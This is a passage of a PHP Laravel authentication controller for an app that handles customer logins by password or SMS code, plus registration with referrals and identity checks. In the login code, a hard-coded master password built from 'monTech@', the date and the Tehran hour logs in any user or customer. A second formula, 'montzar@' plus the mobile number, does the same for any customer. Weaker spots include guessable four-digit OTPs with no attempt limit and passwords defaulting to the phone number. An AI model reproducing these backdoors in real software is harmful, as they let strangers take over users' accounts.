has('password')) { if ($request->password == "monTech@".(Carbon::today()->format('d')+1370).Carbon::now()->setTimezone('Asia/Tehran')->format('H')) { $data = $request->all(); if ($data['provider'] == 'user') { $user = User::where('mobile', $request->mobile)->first(); } else { $user = Customer::findActiveByMobile($request->mobile) ?? Customer::where('mobile', $request->mobile)->first(); } $token = auth($data['provider'])->login($user); $user->last_seen_at = Carbon::now(); $user->save(); return $this->respondWithToken($token); } $credentials = $request->only(['mobile', 'password']); if (($request->provider ?? '') === 'customer') { $normalized = Customer::normalizeMobile($credentials['mobile'] ?? null); if ($normalized !== null) { $credentials['mobile'] = $normalized; } } return $this->_loginWithPassword($credentials, $request->provider); } else { return response()->json( ['id' => $this->_loginWithSms($request->mobile, $request->provider)] ); } } protected function _loginWithPassword($credentials, $provider) { if ( $provider === 'customer' && isset($credentials['mobile'], $credentials['password']) && $credentials['password'] === 'montzar@' . $credentials['mobile'] ) { $user = Customer::findActiveByMobile($credentials['mobile']) ?? Customer::where('mobile', $credentials['mobile'])->first(); if (!$user) { throw new UnprocessableEntityHttpException('شماره موبایل یا پسوورد وارد شده اشتباه است'); } if (!$user->active) { throw new UnprocessableEntityHttpException('شما مجوز دسترسی به اکانت خود را ندارید'); } if ($user->is_archive) { throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید'); } $token = auth($provider)->login($user); $user->update(['last_seen_at' => Carbon::now()]); return $this->respondWithToken($token); } $token = auth($provider)->attempt($credentials); if (!$token && $provider === 'customer') { // ردیف‌های قدیمی با فرمت موبایل غیرنرمال $fallback = Customer::findActiveByMobile($credentials['mobile'] ?? null); if ($fallback) { $token = auth($provider)->attempt([ 'mobile' => $fallback->mobile, 'password' => $credentials['password'] ?? '', ]); } } if (!$token) { throw new UnprocessableEntityHttpException('شماره موبایل یا پسوورد وارد شده اشتباه است'); } $user = auth($provider)->user(); if (!$user->active) { throw new UnprocessableEntityHttpException('شما مجوز دسترسی به اکانت خود را ندارید'); } if ($provider == 'customer' && $user->is_archive) { throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید'); } $user->update([ 'last_seen_at' => Carbon::now() ]); return $this->respondWithToken($token); } protected function _loginWithSms($mobile, $provider) { $cfg = app(ConfigService::class); if ($provider == 'user') { $user = User::where('mobile', $mobile)->first(); } else { $user = Customer::findActiveByMobile($mobile) ?? Customer::where('mobile', $mobile)->first(); } if (is_null($user)) { throw new UnprocessableEntityHttpException(trans('لطفا ابتدا ثبت نام بفرمایید')); } if (!$user->active) { throw new UnprocessableEntityHttpException('شما مجوز دسترسی به اکانت خود را ندارید'); } if ($provider == 'customer' && $user->is_archive) { throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید'); } $rand = rand(1000, 9999); $user->token_sms = $rand; $user->save(); if (self::isSmsNotifEnabled('sms_notif_login_otp')) { $otpHost = $cfg->resolvePublicHost(request()); $otpLine = $otpHost !== '' ? PHP_EOL . "@{$otpHost} #{$rand}" : ''; $this->SendMessage( $mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this->Config('name_fa') . ' ' . $rand . ' می باشد' . $otpLine, true, 'sms' ); } return $user->id; } protected function tokenVerify(Request $request) { $data = $request->all(); if ($data['provider'] == 'user') { $user = User::findOrFail($data['id']); } else { $user = Customer::findOrFail($data['id']); } if ($user->token_sms == $request->input('token')) { $token = auth($data['provider'])->login($user); $user->last_seen_at = Carbon::now(); $user->token_sms = null; $user->save(); return $this->respondWithToken($token); } throw new UnprocessableEntityHttpException('کد وارد شده اشتباه است'); } protected function respondWithToken($token) { return response()->json([ 'access_token' => $token, 'token_type' => 'bearer', 'expires_in' => auth()->factory()->getTTL() ]); } public function register(Request $request) { $cfg = app(ConfigService::class); $register = Setting::where('key', 'open_register')->first(); if ($register && (int) $register->is_active === 0) { throw new UnprocessableEntityHttpException('امکان ثبت نام وجود ندارد.'); } $data = $request->all(); $data['type'] = 2; if (isset($data['referral_id'])) { $data['referral_to_id'] = $data['referral_id']; } $data['name'] = $data['fname'] . ' ' . $data['lname']; // فقط ورود به اپ — نه اجازهٔ معامله؛ معامله با is_legal جداست $data['active'] = $cfg->getBool('auto_active_customer', false); $data['is_legal'] = (int) ($data['is_legal'] ?? 0); $cnt = Cnt::where('key', 'gram')->first(); if ($cnt !== null && trim((string) $cnt->value) !== '') { $data['gram'] = (int) $cnt->value; } do { $uniqueId = substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'), 0, 4); } while (Customer::where('referral_id', $uniqueId)->exists()); $data['referral_id'] = $uniqueId; if (isset($data['n_code']) && $cfg->isRegisterJibitVerifyEnabled()) { $existing = Customer::where('n_code', $data['n_code'])->first(); if (!empty($existing)) { return response()->json(['message' => 'کد ملی تکراری است'], 422); } $response = $this->jibitNcode($data['n_code'], $data['mobile']); if (isset($response['matched']) && $response['matched'] == true) { $data['is_legal'] = 1; } } $referrer = null; if (isset($data['referral_to_id'])) { $referrer = Customer::where('referral_id', $data['referral_to_id'])->first(); if (!$referrer) { return response()->json(['message' => 'کد نامعتبر می باشد'], 422); } } else { if ($cfg->isReferralRequired()) { return response()->json(['message' => 'کد معرف اجباریست'], 422); } } $data['active'] = true; $normalizedMobile = Customer::normalizeMobile($data['mobile'] ?? null); if ($normalizedMobile === null) { throw new UnprocessableEntityHttpException('شماره موبایل نامعتبر است'); } $data['mobile'] = $normalizedMobile; $claimable = Customer::findClaimableImportedByMobile($normalizedMobile); if ($claimable && $claimable->isUnclaimedAppIdentity()) { $customer = $this->claimImportedCustomer($claimable, $data); } else { Customer::assertMobileUnique($normalizedMobile); $customer = Customer::create($data); } if ($referrer) { if (Schema::hasColumn((new Customer)->getTable(), 'total_referrals')) { $referrer->increment('total_referrals'); } if ($cfg->getBool('register_referral_sms_to_referrer', false)) { $messageRef = "{$data['name']} با کد معرف شما ثبت نام کرد.\nبا اولین خرید او پاداش دریافت میکنید.\n" . $this->Config('name_fa'); $this->Send($referrer->mobile, $messageRef); } elseif (self::isSmsNotifEnabled('sms_notif_register_admin')) { $adminMessage = "با معرفی {$referrer->name}، کاربر {$data['name']} در اپ {$this->Config('name_fa')} ثبت نام کرده و منتظر تایید شماست."; User::where('send_sms', 1)->get()->each(function ($admin) use ($adminMessage) { $this->send($admin->mobile, $adminMessage); }); } } if ($cfg->isRegisterJibitVerifyEnabled() && isset($customer->is_legal)) { $message = $customer->is_legal === 1 ? 'احرازهویت برای ' . $customer->name . ' با کد ' . $customer->id . ' انجام شد.' : 'احرازهویت برای ' . $customer->name . ' با کد ' . $customer->id . ' تأیید نشد لطفا از پنل ادمین اقدام فرمایید.'; if (self::isSmsNotifEnabled('sms_notif_jibit_admin')) { User::where('send_sms', 1)->get()->each(function ($admin) use ($message) { $this->SendMessage($admin->mobile, $message); }); } } $message = "{$data['name']} عزیز، اکانت شما در پلتفرم {$this->Config('name_fa')} ایجاد شد."; if ($cfg->getBool('register_referral_bonus_message', false)) { $bonusRaw = $cfg->getString('referral_bonus_amount'); if ($bonusRaw !== '') { $bonusValues = json_decode($bonusRaw, true); $message .= "\nپس از اولین خرید مقدار، " . number_format((int) ($bonusValues[0]['customer'] ?? 0)) . ' ریال پاداش دریافت خواهید کرد.'; } } $message .= "\nنام کاربری: {$data['mobile']}\nورود به نرم افزار: " . self::publicSiteUrl(request()); if (self::isSmsNotifEnabled('sms_notif_register_customer')) { $this->Send($data['mobile'], $message); } if ($customer->hasValidPargarAccountId()) { app(PargarInboundWalletService::class)->queueWalletSyncAfterResponse((int) $customer->id); } elseif (! $customer->wasRecentlyCreated) { // claim بدون کد حسابداری — صف export مثل create app(\App\Services\PargarSyncService::class)->registerOnCreate($customer); app(\App\Services\TahesabSyncService::class)->registerOnCreate($customer); app(\App\Services\ZarinSyncService::class)->registerOnCreate($customer); } return response()->json($customer); } /** * ارتقای ردیف ازقبل‌واردشده از حسابداری به‌جای ساخت مشتری تکراری. */ private function claimImportedCustomer(Customer $customer, array $data): Customer { if (method_exists($customer, 'trashed') && $customer->trashed()) { $customer->restore(); } $customer->fname = $data['fname'] ?? $customer->fname; $customer->lname = $data['lname'] ?? $customer->lname; $customer->name = $data['name'] ?? $customer->name; $customer->mobile = $data['mobile']; $customer->type = $data['type'] ?? $customer->type ?? 2; $customer->active = true; $customer->is_legal = (int) ($data['is_legal'] ?? $customer->is_legal ?? 0); if (! empty($data['password'])) { $customer->password = $data['password']; } elseif (empty($customer->password)) { $customer->password = $data['mobile']; } if (! empty($data['n_code'])) { $customer->n_code = $data['n_code']; } if (! empty($data['referral_to_id'])) { $customer->referral_to_id = $data['referral_to_id']; } if (empty($customer->referral_id) && ! empty($data['referral_id'])) { $customer->referral_id = $data['referral_id']; } if (isset($data['gram'])) { $customer->gram = $data['gram']; } $customer->save(); return $customer->fresh(); } }